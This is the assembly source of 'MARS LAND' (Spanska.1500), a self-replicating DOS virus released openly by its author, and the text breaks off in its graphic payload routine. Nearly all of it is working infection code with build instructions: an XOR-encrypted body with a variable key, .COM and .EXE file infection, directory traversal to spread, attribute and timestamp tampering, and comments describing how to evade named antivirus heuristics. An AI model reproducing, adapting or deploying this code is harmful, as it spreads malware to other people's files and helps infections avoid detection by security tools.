; MARS LAND virus by Spanska ; Called Spanska.1500 by AV people ; This is my third virus ; ;********************************************************************* ; ; THIS VIRUS IS DEDICATED TO... uhhh... nobody this time :) ; ; Or maybe to all the virus coders who do not destruct with ; their creations. I've put the phrase "Coding a virus can ; be creative" to show that an original infection routine, ; a funny payload or a new mutation engine, are far more ; interesting for the coder and for other people than stupid ; destruction. ; I worked some weeks on this virus graphic effect. A simple ; routine to delete a hard drive would have taken me one ; minute to copy/paste it. So, no interest. ; ; Greets to Griyo (best virus coder on this side of the ; galaxy), MrSandman and other guys from 29A (the best group!), ; to Roadkill, Slacker, and friends on IRC (from Luxembourg, ; Spain, Sweden and everywhere), Poltergst and Cicatrix for ; their job on the web. And to the very few french virus ; coders, or even fighters (salut Jean-Luc!). ; ;******************************contact me at el_gato@rocketmail.com*** ; ; At the time it was released (march 97), the detection was: ; TBSCAN flags: c?K on .exe's, nothing on .com's ; FPROT: "ear variant" on unencrypted generation 0, nothing after ; DrSolly Findvirus: nothing ; DrWeb: nothing ; AVP: nothing ; (i saw in newsgroups that a scanner i can't remember flags it ; sometimes like a Whale variant, never happened to me) ; ; generation zero size: 1660 ; virus size: 1500 ; ; compile it with TASM /m2 and TLINK /t ; ; Properties: ; simple .com/.exe runtime infector ; file search routine is essentially derived from my NO PASARAN virus ; not destructive ; encrypted with variable key ; infects 3 .com and 3 .exe each run ; infects current directory, than upper directories ; when it reaches the root, it starts infecting all "level1" subdirectories ; does not infect files <500 bytes, nor command.com ; the VGA graphic bomb (a 3D voxel effect) explodes ; when minutes=30 and seconds<30 (1/120) code segment assume ds:code, ss:code, cs:code, es:code org 100h ; ;---------------fake host code-------------------- ; hote: call virus ;jump to viral code (avoid J flag) signature db "ee" ;virus signature nop ; nop ;fake host nop ; nop ; mov ah, 4ch ;finished mov al,0 ;go to int 21h ;DOS ;********************************************************************** ; START OF VIRAL CODE ;********************************************************************** virus: ;virus starts here ; ;-------------in case of an exe, let's work in cs-------------- ; push ds ;save ds on stack... Don't forget it... push cs ;we are in the virus segment push cs ;so we have to adjust pop es ;ds and es to point pop ds ;to this segment ; ;---------------get delta offset---------------------------- ; call $+3 ;modified classic delta: ;routine to mov bp, sp ;avoid flag E mov ax, [bp] ; add word ptr [bp], decrypte-delta ;thanks Slacker's Theory sub ax, offset delta ;of Code through Obscurity! mov bp, ax ret clef db 0 ;the crypting key ;=== this stosb === ;=== when outside decrypt loop === ;=== does not flag # === baise_flag_cryptage: ;=== stosb ;=========>>> NO MORE FLAG "#" !!!!! ret ;=== ;=================================== ; ;----------------------decrypting routine------------------------- ; decrypte: mov dl, [bp+offset clef] ;actual key in dl mov cx, fin_cryptage - debut_cryptage ;number of bytes to decrypt lea si, [bp+offset debut_cryptage] ;si=start of zone to decrypt mov di, si ;di=start of zone to decrypt xor_loop: ;decrypt loop lodsb ;get byte to decrypt in al nop ;just here to make a 1500 bytes virus ;) xor al, dl ;the byte is decrypted with the key call baise_flag_cryptage ;call the outside stosb (avoid flag #) loop xor_loop ;finish decryption debut_cryptage: ;start of the crypted zone ; ;------transfert of infected file information on another zone--------- ; (for final normal execution of the program) ; lea si, [bp+offset pip] ;from this zone lea di, [bp+offset vip] ;to this zone movsw movsw ;we transfer 8 bytes movsw movsw ; ;---------------initialisation to 0 of directory counter-------------- ; and 2 infection counters (com and exe) ; lea di, [bp+offset phase] ;they are here xor ax, ax ;put them to zero stosw ;(3 counters = 3 bytes) stosb ; ;--------------------remember current repertory------------------ ; lea si, [bp+offset repert] ;si on good memory zone xor dl, dl ;dl=0 is default unit mov ah, 47h ;47h=current dir in memory int 21h ;go! ; ;---------------DTA go to a predefined zone in memory------------- ; push 1a00h ;push/pop to pop ax ;avoid flag F lea dx, [bp+offset dta] int 21h ;********************************************************************** ; .COM INFECTION ;********************************************************************** ; ;-----------------find first .com file------------------------- ; recherche: mov cx, 0007h ;attributes lea dx, [bp+offset file_com] ;file mask for a .com mov ax, 4e00h ;4eh=find first file int 21h ;file found? jnc sauter_suivant ;yes => c=0, let's continue jmp infecte_exe ;no => go to .exe infection ; ;---------------------find next .com file------------------------- ; fichier_suivant: lea dx, [bp+offset file_com] ; mov ax, 4f00h ;4Fh=find next file mov cx, 0007h int 21h ;file found? jnc saut5 ;yes => c=0, let's continue jmp infecte_exe ;no => go to .exe infection saut5: ; ;---------------verify if extension is really .com--------------------- ; (it's made to avoid flag S with tbscan) ; sauter_suivant: call verifie_extension ;call verification routine cmp word ptr [si], "MO" ;second and third letters are "OM"? jne fichier_suivant ;no => find next .com file ; ;----------------verify if it's command.com---------------------------- ; cmp word ptr [bp+offset dta+1eh+2], "MM" ;test 3rd and 4th letter je fichier_suivant ;yes => find next file ; ;--------------attributes to 0 to infect special files------------- ; call attrib_a_zero ; ;--------------------open file, and verify header----------------------- ; call ouvre_et_verif_header jmp fichier_suivant ;if header not good (already infected) ;we get here and search another file ;if header good we get here on routine return ; ;--------transfer 5 first bytes of the .com to another zone---------- ; lea si, [bp+offset exehead] lea di, [bp+offset cinq_octets] movsw movsw movsb ; ;-----------before infection, change of the crypting key----------- ; call change_clef ; ;------------disk file pointer at the end----------- ; mov ax, 4202h xor cx, cx mov dx, cx int 21h ; ;-----------------------infection----------------------------------- ; call infecte ; ;--overwrite 5 first bytes on the disk by jump to virus code + signature--- ; ;1) move disk file pointer to start of the file ; call pointeur_debut ; ;2) calculate initial jump and write all on a temp zone in memory ; lea di, [bp+offset cinq_octets] mov al, 0E8h ;E8=opcode of CALL stosb mov ax, word ptr [bp+offset dta+1ah] ;ax=file size sub ax, 3 ;this is because of the CALL stosw mov ax, "ee" ;signature stosw ; ;3) overwrite 5 first bytes on the file ; mov cx,5 lea dx, [bp+offset cinq_octets] call ecrit_fichier ; ;----------------restore time/date of the file-------------------- ; call restaure_time ; ;------------close file and restore file attributes-------------------- ; call remise_en_etat ; ;--------verify how many .com files we have infected------------------ ; mov byte ptr cl, [bp+offset compteur_com] ;infection counter in cl inc cl ;one more cmp cl, 3 ;have we infected 3 .com files? je infecte_exe ;yes => let's infect .exe now mov byte ptr [bp+offset compteur_com], cl ;no => write new value of counter ; ;-----------------let's infect a new .com file------------------ ; jmp fichier_suivant ;go infect next file ;********************************************************************** ; .EXE INFECTION ;********************************************************************** infecte_exe: ; ;------------------find first .exe file------------------------- ; recherche_exe: mov cx, 0007h ;attributes lea dx, [bp+offset file_exe] ;file mask for a .exe mov ax, 4e00h ;4eh=find first file int 21h ;file found? jnc sauter_exe_suivant ;yes => c=0, let's continue jmp rep_sup ;no => go to upper directory ; ;------------------find next file------------------------- ; exe_suivant: lea dx, [bp+offset file_exe] ;file mask for a .exe mov ax, 4f00h ;4Fh=find next file mov cx, 0007h ;attributes int 21h ;file found? jnc saut_exe ;yes => c=0, let's continue jmp rep_sup ;no => go to upper direcory saut_exe: ; ; ;---------------verify if extension is really .com--------------- ; (it's made to avoid flag S with tbscan) ; sauter_exe_suivant: call verifie_extension ;call verification routine cmp word ptr [si], "EX" ;second and third letters are "OM"? jne exe_suivant ;no => find next .exe file ; ;------------attributes to 0 to infect special files------------- ; call attrib_a_zero call ouvre_et_verif_header jmp exe_suivant ;if header not good (already infected or ;windows file) we get here and search ;another file ;if header good, we get here ; ;------------verify that it's really a .exe with MZ header---------------- ; lea si, [bp+offset exehead] lodsw add ah, al ;to avoid flag Z cmp ah, 167 ;(M+Z in ASCII is 167) jne exe_suivant ;if it's not MZ or ZM, find next .exe file ; ;-----------before infection, change the crypting key----------- ; call change_clef ; ;----------------save old .exe header values------------------------- ; lea di, [bp+offset pIP] mov ax, word ptr [bp+ exehead+14h] ;save IP stosw mov ax, word ptr [bp+ exehead+16h] ;save CS stosw mov ax, word ptr [bp+ exehead+0Eh] ;save SS stosw mov ax, word ptr [bp+ exehead+10h] ;save SP stosw ; ;---------disk file pointer at the end (return dx:ax = size)--------- ; mov bx, [bp+offset handle] mov ax, 4202h xor cx, cx xor dx, dx int 21h push ax ;save size on stack push dx ;useful for next calculations ; ;----------------calculate new cs:ip--------------------------------- ; push ax mov ax, word ptr [bp+exehead+08h] mov cl, 4 shl ax, cl mov cx, ax pop ax sub ax, cx sbb dx, 0 mov cl, 0Ch shl dx, cl mov cl, 4 push ax shr ax, cl add dx, ax shl ax, cl pop cx sub cx, ax mov word ptr [bp+ exehead+14h], cx ;new calculated values mov word ptr [bp+ exehead+16h], dx ;put in the header zone mov word ptr [bp+ exehead+0Eh], dx ;in memory mov word ptr [bp+ exehead+10h], 0FFFEh ; ;-----------------calculate new size--------------------------- ; pop dx pop ax push ax add ax, fin_cryptage-virus adc dx, 0 mov cl, 7 shl dx, cl mov cl, 9 shr ax, cl add ax, dx inc ax mov word ptr [bp+ exehead+04h], ax pop ax add ax, fin_cryptage-virus and ah, 1 mov word ptr [bp+ exehead+02h], ax ; ;-----------------write signature---------------------------------- ; mov word ptr [bp+exehead+12h], "ee" ; ;--------------------infection--------------------- ; call infecte ; ;----------write new header of the infected file on disk--------------------- ; mov ax, 4200h push ax ;this stupid push/pop pop ax ;to avoid DrWeb heuristic xor cx, cx xor dx, dx int 21h ;pointer at start of file on disk mov cx, 1Ch lea dx, [bp+exehead] call ecrit_fichier ;write on disk modified header ; ;----------restore time/date of the file-------------------- ; call restaure_time ; ;----------close file and restore file attributes---------------------- ; call remise_en_etat ; ;--------verify how many .exe files we have infected------------------ ; mov byte ptr cl, [bp+offset compteur_exe] ;counter in cl inc cl ;one more cmp cl, 3 ;we infect 3? je bombe_ou_pas ;yes => let's stop infections mov byte ptr [bp+offset compteur_exe], cl ;no => write counter ; ;--------let's infect a new .exe file------------------ ; jmp exe_suivant ;go infect next file ; ;--------------------does the bomb explode?--------------------- ; bombe_ou_pas: mov ah, 2Ch ;internal clock: ch=hour et cl=minute int 21h cmp cl, 30d ;minutes = 30? jne redonne_main ;no => return to host cmp dh, 30d ;yes => test seconds ja redonne_main ;if secondes > 30 we return to host jmp bombe ;if seconds <30 (1/120) the bomb explodes ;********************************************************************** ; RETURN TO HOST ;********************************************************************** redonne_main: ;------------------DTA in the normal zone----------------------------- ; (to avoid perturbing host program) ; push 1a00h ;push/pop pop ax ;to avoid flag F mov dx, 80h ;to 80h, the normal zone int 21h ; ;--------restore the directory in which we were when we started----------- ; lea dx, [bp+offset repert] mov ax, 3B00h ;3bh=change directory int 21h ; ;-----------active host is a .com or a .exe?------------------- ; cmp byte ptr cs:0, 0CDh ;a .com file have an Int20h je redonne_main_com ;(word CD 20) at offset 0 ; ;-------------return to an .exe--------------------------- ; redonne_main_exe: pop ds ;remember the very first push ds push ds pop es ;get es=ds mov ax, es add ax, 10h add word ptr cs:[bp+vCS], ax cli add ax, word ptr cs:[bp+vSS] ;adjust stack pointers mov ss, ax mov sp, word ptr cs:[bp+vSP] sti jmp retour_au_prog cinq_octets: pip db 90h,90h ;zone to keep file information pcs db 90h,90h ;EXE: keep ip, cs, ss, sp pss db 90h,90h ;COM: keep 5 first bytes psp db 90h,90h retour_au_prog: db 0EAh ;far jump opcode, for .exe contenu: vIP dw 0 ;zone to keep temporarly file info vCS dw 0 ;EXE: keep ip, cs, ss, sp vSS dw 0 ;COM: keep 5 first bytes vSP dw 0 ; ;-----------------------return to a .com--------------------------- ; redonne_main_com: pop ax ;clean stack (remember first push ds) ; ;---------replace 5 first bytes of the host in memory---------- ; lea si, [bp+offset contenu] ;memory zone where they are mov ax, 101h ;this is to dec ax ;avoid flag B in TBSCAN mov di, ax ;a .com start at offset 100h movsw movsw movsb ;move 5 bytes ; ;-----------------------return to host---------------------------- ; (remember the very first CALL: we have 103h on the stack) ; redonner_la_main: pop ax ;get 103h sub ax, 3 ;we want 100h push ax ;re-put it on stack (for the RET) xor ax, ax ;a starting program xor bx, bx ;likes to find all xor cx, cx ;registers equals xor dx, dx ;to zero ret ;return to normal program ;********************************************************************** ; CHANGE DIRECTORY ;********************************************************************** ; ;----------climb to upper directory-------------------------- ; rep_sup: lea dx, [bp+offset dot] ;let's go to ".." repertory mov ah, 3bh int 21h ;are we in the root? jc on_redescend ;yes => c=1, let's go down now jmp recherche ;no => find first file ; ;---if we are in root, let's go to all "first-level" subdirectories------- ; on_redescend: mov ah, 4eh ;find first file mov cx, 16 ;with directory attribute lea dx, [bp+offset dir_masque] ;called "*.*" int 21h ;one found? jnc contin ;yes => continue jmp bombe_ou_pas ;no => test time for the bomb contin: cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? je le_premier ;phase=0 => do not find next dir xor bh, bh mov bl, byte ptr [bp+offset phase] ;bx=phase rep_suivant: ;loop to avoid all subdir already infected mov cx, 16 ;directory attributes mov ah, 4fh ;find next dir int 21h ;one found? jnc contin2 ;yes => continue jmp bombe_ou_pas ;no => test time for the bomb contin2: cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? jne rep_suivant ;no => find next dec bx ;this routine is made to infect cmp bx, 0 ;directory "number phase" jne rep_suivant ;if bx<>0, the subdir is already infected le_premier: add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected lea dx, [bp+offset dta+1eh] ;so, let's change mov ah, 3bh ;directory to it int 21h jmp recherche ;and infect this new subdirectory ;********************************************************************** ; ROUTINE OFTEN USED (to save bytes) ;********************************************************************** ;-------------------verify extension------------------------- verifie_extension: mov cx, 13d ;max size of a file name (not really, but lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) compare: ;loop for detecting start of the extension lodsb ;letter in al cmp al, "." ;is it a point? jne compare ;no => test next letter inc si ;yes => si points on second extension letter ret ;------------------change crypting key--------------- change_clef: mov ah, 2Ch ;internal clock int 21h ;cx get quite randomic mov [bp+offset clef], cl ;let's keep it somewhere ret ;------------------------open file------------------------- ouvre_et_verif_header: mov ax, 3D02h ;3D02h=open file lea dx, [bp+offset dta+1eh] ;name of the file in DTA int 21h jnc saut2 ;one file found, c=0, continue jmp remise_en_etat ;not found => arrange file saut2: ;continue mov [bp+offset handle],ax ;keep handle in memory ; ;----------------read first 1Ch bytes of the file----------------- ; xchg ax, bx ;handle in ax mov cx, 1Ch ;number of bytes to read mov ax, 3F00h ;3F=read file lea dx, [bp+offset exehead] ;dx on stockage zone int 21h jnc saut3 ;no problem, c=0, continue jmp remise_en_etat ;problem => arrange file saut3: ; continue ; ;-----------is the file already infected?------------- ; cmp byte ptr [bp+offset exehead+18h], 40h ;is it a windows file? jz deja_infecte ;yes => don't touch cmp word ptr [bp+offset exehead+3], "ee" ;.com already infected? jz deja_infecte ;yes => don't touch cmp word ptr [bp+offset exehead+12h], "ee" ;.exe already infected? jnz saut4 ;no => continue deja_infecte: jmp remise_en_etat ;let's arrange the file saut4: ;continue ; ;--------------------is the size correct?------------------- ; cmp [bp+offset dta+1ah], 500 ;do not infect if file<500 bytes ja verif_ok ;it's OK ; ;--------arrange file and close it in case of non-infection----------- ; remise_en_etat: mov ah, 3Eh ;3Eh=close file int 21h ; ;-----------------restore file attributes----------------------- ; call restaure_attrib ;restore attributes ; ;------after arranging the file, let's go back to the CALL------- ; ret ; ;----------------------if it's good to infect,------------------- ; let's go back one instruction after the call ; verif_ok: pop ax ;get offset of the return on the stack add ax, 2 ;add 2 (size of a short JMP) push ax ;put it back on the stack ret ;return 2 bytes after the call ;-----------------------------infection-------------------------- ;first, let's write non-encrypted part infecte: mov cx, debut_cryptage - virus ;size of non-encrypted part lea dx, [bp+offset virus] ;dx on beginning of this part call ecrit_fichier ;write this on disk ;second, let's crypt next part in memory mov dl, [bp+offset clef] ;dl=new key lea si, [bp+offset debut_cryptage] ;si=start of crypted zone lea di, [bp+offset zone_de_travail] ;di=temp memory zone for crypting mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt crypte_et_transfere: ;the loop lodsb ;get original byte xor al, dl ;crypt it stosb ;put it on memory loop crypte_et_transfere ;again ;third, disk writing of the crypted zone mov cx, fin_cryptage - debut_cryptage ;number of bytes to write lea dx, [bp+offset zone_de_travail] ;dx=offset of the temp zone call ecrit_fichier ;write it on disk ret ;-------------------modify attributes------------------------- attrib_a_zero: xor cx, cx ;if we want to put attrib to zero jmp suite_attrib restaure_attrib: xor ch, ch ;if we want to restore attrib mov cl, byte ptr [bp+offset dta+15h] ;from the DTA value suite_attrib: lea dx, [bp+offset dta+1eh] ;file name push 4301h ;43h=change attribs pop ax ;avoid flag F from TBSCAN int 21h ret ;---------------------restore file time/date----------------------- restaure_time: mov dx, word ptr [bp+offset dta+18h] ;date from DTA to dx mov cx, word ptr [bp+offset dta+16h] ;time from DTA to cx push 5701h ;5701h=change time/date pop ax ;avoid flag F from TBSCAN int 21h ret ;------------------write file on disk---------------------- ecrit_fichier: push 4000h ;the famous 40Hex... push/pop to pop ax ;avoid DrSolomon and DrWeb heuristic int 21h ret ;--------------------move pointer on disk--------------------------- pointeur_debut: ;to put pointer at the beginning xor dx, dx pointeur_debut_sans_dx: ;i think i don't use this... never mind xor cx, cx mov ax, 4200h ;42h=move disk pointer push ax ;stupid push/pop to avoid pop ax ;DrWeb heuristic int 21h ret ;********************************************************************** ; CODE OF THE GRAPHIC BOMB: A 3D VOXEL EFFECT ;********************************************************************** bombe: largeur equ 128 ;size of the grid ;-------------------------VGA------------------------------- mov ax, 13h int 10h ;----------------------black palette-------------------------------- ; because mountains are calculated directly on screen) mov dx, 3c8h ;dx = palette port xor al, al ;start with color 0 out dx, al ;write first color in the port inc dx ;define all others colors mov cx, 768 ;256 colors x 3 composantes, all at zero tout_noir: out dx, al ;write black on port loop tout_noir ;---------draw to an area of the screen some big blocks---------- ; area used: 50 lines x 128 columns on the left top mov ax, 0A000h ;video memory mov es, ax ;in es mov cx, 150 ;number of blocks boucle: mov ax, [bp+offset aleat] mov dx, 8405h ;semi-random routine stolen mul dx ;in a fire demo inc ax ;give a random dx mov [bp+offset aleat], ax push dx ;dl = random byte for the line shr dl, 1 ;now 0